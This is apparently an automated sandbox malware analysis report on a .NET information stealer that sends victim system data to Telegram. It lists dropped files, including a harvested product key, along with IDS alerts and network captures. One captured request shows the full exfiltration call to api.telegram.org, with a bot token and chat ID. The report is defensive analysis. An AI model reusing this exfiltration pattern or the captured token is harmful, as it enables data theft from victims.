Preview:	NAME: svchost..PID: 860..EXE: C:\Windows\system32\svchost.exe..NAME: WNKBexbSxPsobFYTXFsJtZzfYEn..PID: 3876..EXE: C:\Program Files (x86)\PzooEflTPKPNlvhvRyOutyzQiFRKtDfxOGoUmBmcKVYtCqmqNfCDRHxcy\WNKBexbSxPsobFYTXFsJtZzfYEn.exe..NAME: WNKBexbSxPsobFYTXFsJtZzfYEn..PID: 6892..EXE: C:\Program Files (x86)\PzooEflTPKPNlvhvRyOutyzQiFRKtDfxOGoUmBmcKVYtCqmqNfCDRHxcy\WNKBexbSxPsobFYTXFsJtZzfYEn.exe..NAME: svchost..PID: 3012..EXE: C:\Windows\System32\svchost.exe..NAME: WNKBexbSxPsobFYTXFsJtZzfYEn..PID: 6020..EXE: C:\Program Files (x86)\PzooEflTPKPNlvhvRyOutyzQiFRKtDfxOGoUmBmcKVYtCqmqNfCDRHxcy\WNKBexbSxPsobFYTXFsJtZzfYEn.exe..NAME: svchost..PID: 2572..EXE: C:\Windows\System32\svchost.exe..NAME: WNKBexbSxPsobFYTXFsJtZzfYEn..PID: 5864..EXE: C:\Program Files (x86)\PzooEflTPKPNlvhvRyOutyzQiFRKtDfxOGoUmBmcKVYtCqmqNfCDRHxcy\WNKBexbSxPsobFYTXFsJtZzfYEn.exe..NAME: csrss..PID: 412..EXE: ..NAME: WNKBexbSxPsobFYTXFsJtZzfYEn..PID: 4224..EXE: C:\Program Files (x86)\PzooEflTPKPNlvhvRyOutyzQiFRKtDfxOGoUmBmcKVYtC

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\System\ProductKey.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.8924637537482623
Encrypted:	false
SSDEEP:	3:EGQtI8S5kU:RQtIL51
MD5:	E8F9E0D2B31BCB3DFEECC4C4B85CE55F
SHA1:	0C975480E64E38162D91349FC9B7178719ECD76E
SHA-256:	008C851566D352D4657C88727CAB7F778333CB6321FDCD439853EA6DF5D916D9
SHA-512:	13C4B7F7BB728B36093824E51EC1505E43A821BDA876D27B579E0CB0DE7B1DA844EFB4999F6BCC871D89B5FD2582B99EF8E80DBB8BFD816DBA7396645890F65F
Malicious:	false
Preview:	MW68N-2H7VD-HH2JJ-YY869-3FX3H

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\System\ScanningNetworks.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.6630509827051725
Encrypted:	false
SSDEEP:	3:PHsEiVboFkaQXMtS1ME/M2en:PsEwYVQXOS1TUn
MD5:	58CD2334CFC77DB470202487D5034610
SHA1:	61FA242465F53C9E64B3752FE76B2ADCCEB1F237
SHA-256:	59B3120C5CE1A7D1819510272A927E1C8F1C95385213FCCBCDD429FF3492040D
SHA-512:	C8F52D85EC99177C722527C306A64BA61ADC3AD3A5FEC6D87749FBAD12DA424BA6B34880AB9DA627FB183412875F241E1C1864D723E62130281E44C14AD1481E
Malicious:	false
Preview:	Active code page: 65001..The Wireless AutoConfig Service (wlansvc) is not running...

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\System\Windows.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	18162
Entropy (8bit):	5.657990470787377
Encrypted:	false
SSDEEP:	96:G+B+2+L+e+k+H+0bqS+l+J+r+f+C+5+U+b+f+w+Y+V+8+I+h+0+U+/+i1+b+B+Xu:6vC
MD5:	58EC678A456D273D63993BE1FC2DE3EA
SHA1:	55477A5EAAED7B7EEBC6B640C5E85B710451319A
SHA-256:	941A7491829955CAC550525CF215D5813BC39E782328082EFA59DB247C39D956
SHA-512:	139A5F2D98AB49876DFDFA0511A1FB1A8E05788C1236E02565DC96B013BB7E6E7D29EDD42549C1B07CEF5803EDBB27C46264E015446D29FFDBD6F67D71EE83FF
Malicious:	false
Preview:	NAME: WNKBexbSxPsobFYTXFsJtZzfYEn..TITLE: New Tab - Google Chrome..PID: 3876..EXE: C:\Program Files (x86)\PzooEflTPKPNlvhvRyOutyzQiFRKtDfxOGoUmBmcKVYtCqmqNfCDRHxcy\WNKBexbSxPsobFYTXFsJtZzfYEn.exe..NAME: WNKBexbSxPsobFYTXFsJtZzfYEn..TITLE: New Tab - Google Chrome..PID: 6892..EXE: C:\Program Files (x86)\PzooEflTPKPNlvhvRyOutyzQiFRKtDfxOGoUmBmcKVYtCqmqNfCDRHxcy\WNKBexbSxPsobFYTXFsJtZzfYEn.exe..NAME: WNKBexbSxPsobFYTXFsJtZzfYEn..TITLE: New Tab - Google Chrome..PID: 6020..EXE: C:\Program Files (x86)\PzooEflTPKPNlvhvRyOutyzQiFRKtDfxOGoUmBmcKVYtCqmqNfCDRHxcy\WNKBexbSxPsobFYTXFsJtZzfYEn.exe..NAME: WNKBexbSxPsobFYTXFsJtZzfYEn..TITLE: New Tab - Google Chrome..PID: 5864..EXE: C:\Program Files (x86)\PzooEflTPKPNlvhvRyOutyzQiFRKtDfxOGoUmBmcKVYtCqmqNfCDRHxcy\WNKBexbSxPsobFYTXFsJtZzfYEn.exe..NAME: WNKBexbSxPsobFYTXFsJtZzfYEn..TITLE: New Tab - Google Chrome..PID: 4224..EXE: C:\Program Files (x86)\PzooEflTPKPNlvhvRyOutyzQiFRKtDfxOGoUmBmcKVYtCqmqNfCDRHxcy\WNKBexbSxPsobFYTXFsJtZzfYEn.exe..NAME: WNKBexbSx

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\System\WorldWind.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	97020
Entropy (8bit):	7.877082837853325
Encrypted:	false
SSDEEP:	1536:CmQQTftERar/2UMJQt2AlPJ1pp2REKxmMdNBYDEAlAhu3Y9ZOc7si0E16as48ZYn:5QAft1CO28TppKitf3Y9kc10XasjZUpF
MD5:	2B90484AF5FBD91DFF5F1C01D6242908
SHA1:	125CC28A1481CE278E5D2486AE0433C8D495FB29
SHA-256:	98AE5BB85CA50D1545C9B0E2C8EB1C551BC3B75457C06A18EEBB3F9F0D762F73
SHA-512:	E2B13812AE7419D6D05A41B65E8232228EF23760AEC45E776314F53C9296E51FDF6EB77E352278A5082350F70C04BC2375BA0A181A9F48157B6FBD2CB382ACB2
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.*bi.F.xJ.5KC"...N...m.g....Uf.....?.2......Q.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..o.<-...OF.....j.#?........x..........#..........9.+..........e\.../n-.n.dh.c...k....1.q...y5..r..N.)W...O.d.QEw.!E.P11E-v.....Z..tN.Lo..?.Xb1....Oc....&...W.8.+.?.]._.....G.R....n..............z...........w..#.......`..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.7986327061412295
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	JGvCEaqruI.exe
File size:	933'888 bytes
MD5:	fef7aab8bbb6e60534edc8db7aaff00a
SHA1:	399d65a862501cdcd32983425efc1a99b85f953e
SHA256:	5fe6e19d2d832aa15fbad4b015f118e0915ee904c4c0db8f58b9af90ce011513
SHA512:	5b3395c131afd4c73d02b1c95397187fc78d62e393872b776d0edef8471041a91d424a17bfde311801b83eb56c0457aaaa9758d0112347d9bce2af1ff2bfaaa3
SSDEEP:	12288:av8DWIoShwKj64KBRzeFKjQlGHIvGFJbnKy0FClmRk3yB:k86IoBCmBQFKjkGHIvGqXYykiB
TLSH:	7815A43C497D12EBC0A6C7ADCBE89827B604A96F7150ADA494D257A53313F4B34C363E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.............f.... ........@.. ....................................@................................

File Icon


Icon Hash:	83356d4d454d2986

Static PE Info

General

Entrypoint:	0x4dd766
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xD6E4B608 [Fri Mar 31 03:50:32 2084 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xdd714	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xde000	0x82ec	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xdbec4	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xdb76c	0xdb800	dd0a1cff7a880b0bae1a0344a1c6c702	False	0.659913777761959	data	6.7712707587465655	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xde000	0x82ec	0x8400	a7525ea8fb5360ee45447bc4e8e035bd	False	0.5306877367424242	data	6.370146985088134	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe8000	0xc	0x200	61241b62e0103aa55387753ff026852c	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xde1f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 5669 x 5669 px/m	0.36436170212765956
RT_ICON	0xde658	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 5669 x 5669 px/m	0.24385245901639344
RT_ICON	0xdefe0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 5669 x 5669 px/m	0.1845684803001876
RT_ICON	0xe0088	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 5669 x 5669 px/m	0.13526970954356846
RT_ICON	0xe2630	0x3750	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9771186440677966
RT_GROUP_ICON	0xe5d80	0x4c	data	0.75
RT_VERSION	0xe5dcc	0x334	data	0.4378048780487805
RT_MANIFEST	0xe6100	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:12:50.601538+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.7	49766	149.154.167.220	443	TCP
2025-01-11T01:12:50.601538+0100	2031009	ET MALWARE StormKitty Data Exfil via Telegram	1	192.168.2.7	49766	149.154.167.220	443	TCP
2025-01-11T01:12:50.601538+0100	2044766	ET MALWARE WorldWind Stealer Checkin via Telegram (GET)	1	192.168.2.7	49766	149.154.167.220	443	TCP
2025-01-11T01:12:51.698426+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49772	149.154.167.220	443	TCP
2025-01-11T01:12:51.698426+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.7	49772	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:12:48.086544991 CET	49752	80	192.168.2.7	104.16.185.241
Jan 11, 2025 01:12:48.091398954 CET	80	49752	104.16.185.241	192.168.2.7
Jan 11, 2025 01:12:48.091618061 CET	49752	80	192.168.2.7	104.16.185.241
Jan 11, 2025 01:12:48.092483044 CET	49752	80	192.168.2.7	104.16.185.241
Jan 11, 2025 01:12:48.097284079 CET	80	49752	104.16.185.241	192.168.2.7
Jan 11, 2025 01:12:48.581324100 CET	80	49752	104.16.185.241	192.168.2.7
Jan 11, 2025 01:12:48.640439987 CET	49752	80	192.168.2.7	104.16.185.241
Jan 11, 2025 01:12:48.649975061 CET	49759	443	192.168.2.7	104.21.44.66
Jan 11, 2025 01:12:48.650022984 CET	443	49759	104.21.44.66	192.168.2.7
Jan 11, 2025 01:12:48.650315046 CET	49759	443	192.168.2.7	104.21.44.66
Jan 11, 2025 01:12:48.656719923 CET	49759	443	192.168.2.7	104.21.44.66
Jan 11, 2025 01:12:48.656739950 CET	443	49759	104.21.44.66	192.168.2.7
Jan 11, 2025 01:12:49.133900881 CET	443	49759	104.21.44.66	192.168.2.7
Jan 11, 2025 01:12:49.133970022 CET	49759	443	192.168.2.7	104.21.44.66
Jan 11, 2025 01:12:49.136821985 CET	49759	443	192.168.2.7	104.21.44.66
Jan 11, 2025 01:12:49.136827946 CET	443	49759	104.21.44.66	192.168.2.7
Jan 11, 2025 01:12:49.137056112 CET	443	49759	104.21.44.66	192.168.2.7
Jan 11, 2025 01:12:49.183361053 CET	49759	443	192.168.2.7	104.21.44.66
Jan 11, 2025 01:12:49.231323957 CET	443	49759	104.21.44.66	192.168.2.7
Jan 11, 2025 01:12:49.300492048 CET	443	49759	104.21.44.66	192.168.2.7
Jan 11, 2025 01:12:49.300561905 CET	443	49759	104.21.44.66	192.168.2.7
Jan 11, 2025 01:12:49.300628901 CET	49759	443	192.168.2.7	104.21.44.66
Jan 11, 2025 01:12:49.355403900 CET	49759	443	192.168.2.7	104.21.44.66
Jan 11, 2025 01:12:49.359728098 CET	49752	80	192.168.2.7	104.16.185.241
Jan 11, 2025 01:12:49.364804983 CET	80	49752	104.16.185.241	192.168.2.7
Jan 11, 2025 01:12:49.364861965 CET	49752	80	192.168.2.7	104.16.185.241
Jan 11, 2025 01:12:49.367050886 CET	49766	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:49.367104053 CET	443	49766	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:49.367170095 CET	49766	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:49.367535114 CET	49766	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:49.367552042 CET	443	49766	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:49.976635933 CET	443	49766	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:49.976767063 CET	49766	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:50.056961060 CET	49766	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:50.057008028 CET	443	49766	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:50.057362080 CET	443	49766	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:50.134727001 CET	49766	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:50.134880066 CET	443	49766	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:50.601576090 CET	443	49766	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:50.601655960 CET	443	49766	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:50.601722002 CET	49766	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:50.604397058 CET	49766	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:50.612679005 CET	49772	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:50.612720966 CET	443	49772	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:50.612790108 CET	49772	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:50.613085032 CET	49772	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:50.613095045 CET	443	49772	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:51.236211061 CET	443	49772	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:51.245388031 CET	49772	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:51.245408058 CET	443	49772	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:51.698451042 CET	443	49772	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:51.698523045 CET	443	49772	149.154.167.220	192.168.2.7
Jan 11, 2025 01:12:51.698816061 CET	49772	443	192.168.2.7	149.154.167.220
Jan 11, 2025 01:12:51.699856043 CET	49772	443	192.168.2.7	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:12:47.937585115 CET	63998	53	192.168.2.7	1.1.1.1
Jan 11, 2025 01:12:47.946006060 CET	53	63998	1.1.1.1	192.168.2.7
Jan 11, 2025 01:12:48.074311018 CET	61759	53	192.168.2.7	1.1.1.1
Jan 11, 2025 01:12:48.081234932 CET	53	61759	1.1.1.1	192.168.2.7
Jan 11, 2025 01:12:48.640039921 CET	63916	53	192.168.2.7	1.1.1.1
Jan 11, 2025 01:12:48.649127960 CET	53	63916	1.1.1.1	192.168.2.7
Jan 11, 2025 01:12:49.359483957 CET	57747	53	192.168.2.7	1.1.1.1
Jan 11, 2025 01:12:49.366417885 CET	53	57747	1.1.1.1	192.168.2.7
Jan 11, 2025 01:13:02.797945976 CET	50666	53	192.168.2.7	1.1.1.1
Jan 11, 2025 01:13:02.805016041 CET	53	50666	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:12:47.937585115 CET	192.168.2.7	1.1.1.1	0x3d27	Standard query (0)	160.192.10.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 11, 2025 01:12:48.074311018 CET	192.168.2.7	1.1.1.1	0x3830	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:48.640039921 CET	192.168.2.7	1.1.1.1	0x222c	Standard query (0)	api.mylnikov.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:49.359483957 CET	192.168.2.7	1.1.1.1	0x407b	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:02.797945976 CET	192.168.2.7	1.1.1.1	0x52bc	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:12:47.946006060 CET	1.1.1.1	192.168.2.7	0x3d27	Name error (3)	160.192.10.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 11, 2025 01:12:48.081234932 CET	1.1.1.1	192.168.2.7	0x3830	No error (0)	icanhazip.com		104.16.185.241	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:48.081234932 CET	1.1.1.1	192.168.2.7	0x3830	No error (0)	icanhazip.com		104.16.184.241	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:48.649127960 CET	1.1.1.1	192.168.2.7	0x222c	No error (0)	api.mylnikov.org		104.21.44.66	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:48.649127960 CET	1.1.1.1	192.168.2.7	0x222c	No error (0)	api.mylnikov.org		172.67.196.114	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:49.366417885 CET	1.1.1.1	192.168.2.7	0x407b	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:02.805016041 CET	1.1.1.1	192.168.2.7	0x52bc	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.mylnikov.org

api.telegram.org

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49752	104.16.185.241	80	7268	C:\Users\user\Desktop\JGvCEaqruI.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:12:48.092483044 CET	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Jan 11, 2025 01:12:48.581324100 CET	535	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:12:48 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=B4E.fofSZK.PusW0xqkTkm0VaIe69ndefw5eIWO9aQA-1736554368-1.0.1.1-6GfAwmB_I8wefFb_PvEcZx_nrtyg6dF6pQ4ZmgA45T7WckEIZJFJlEoVfsaYnNFd.X0fZ2TZNY70GMBYRkOvwg; path=/; expires=Sat, 11-Jan-25 00:42:48 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 9000b2831cd5727d-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 0a Data Ascii: 8.46.123.189

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49759	104.21.44.66	443	7268	C:\Users\user\Desktop\JGvCEaqruI.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:12:49 UTC	112	OUT	GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1 Host: api.mylnikov.org Connection: Keep-Alive
2025-01-11 00:12:49 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:12:49 GMT Content-Type: application/json; charset=utf8 Content-Length: 88 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=2678400 CF-Cache-Status: HIT Age: 21827 Last-Modified: Fri, 10 Jan 2025 18:09:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V4jY5GKezcCPSuCih%2Bnh7YAbDfS%2Bp6mI8UoGJhA6bnLA8x2LDGRewzIu14XTwGgkLY1NJ2%2FnN8bEpw8z%2FIUxIaCwfc9cJCC8bVqde7UupvPj2mdSah%2Fxz02BXKk4Zrg7gvZ5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 9000b287b86c0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1482&min_rtt=1479&rtt_var=562&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=726&delivery_rate=1936339&cwnd=221&unsent_bytes=0&cid=20710b86e0d81fa5&ts=176&x=0"
2025-01-11 00:12:49 UTC	88	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 34 30 34 2c 20 22 64 61 74 61 22 3a 7b 7d 2c 20 22 6d 65 73 73 61 67 65 22 3a 36 2c 20 22 64 65 73 63 22 3a 22 4f 62 6a 65 63 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 20 22 74 69 6d 65 22 3a 31 37 33 36 35 33 32 35 34 32 7d Data Ascii: {"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1736532542}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49766	149.154.167.220	443	7268	C:\Users\user\Desktop\JGvCEaqruI.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:12:50 UTC	1681	OUT	GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202025-01-10%207:12:35%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20704672%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%207_PYFFT1V%0ARAM:%204095MB%0AHWID:%2028D2643902%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.189%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%2 [TRUNCATED] Host: api.telegram.org Connection: Keep-Alive
2025-01-11 00:12:50 UTC	344	IN	HTTP/1.1 403 Forbidden Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 00:12:50 GMT Content-Type: application/json Content-Length: 84 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
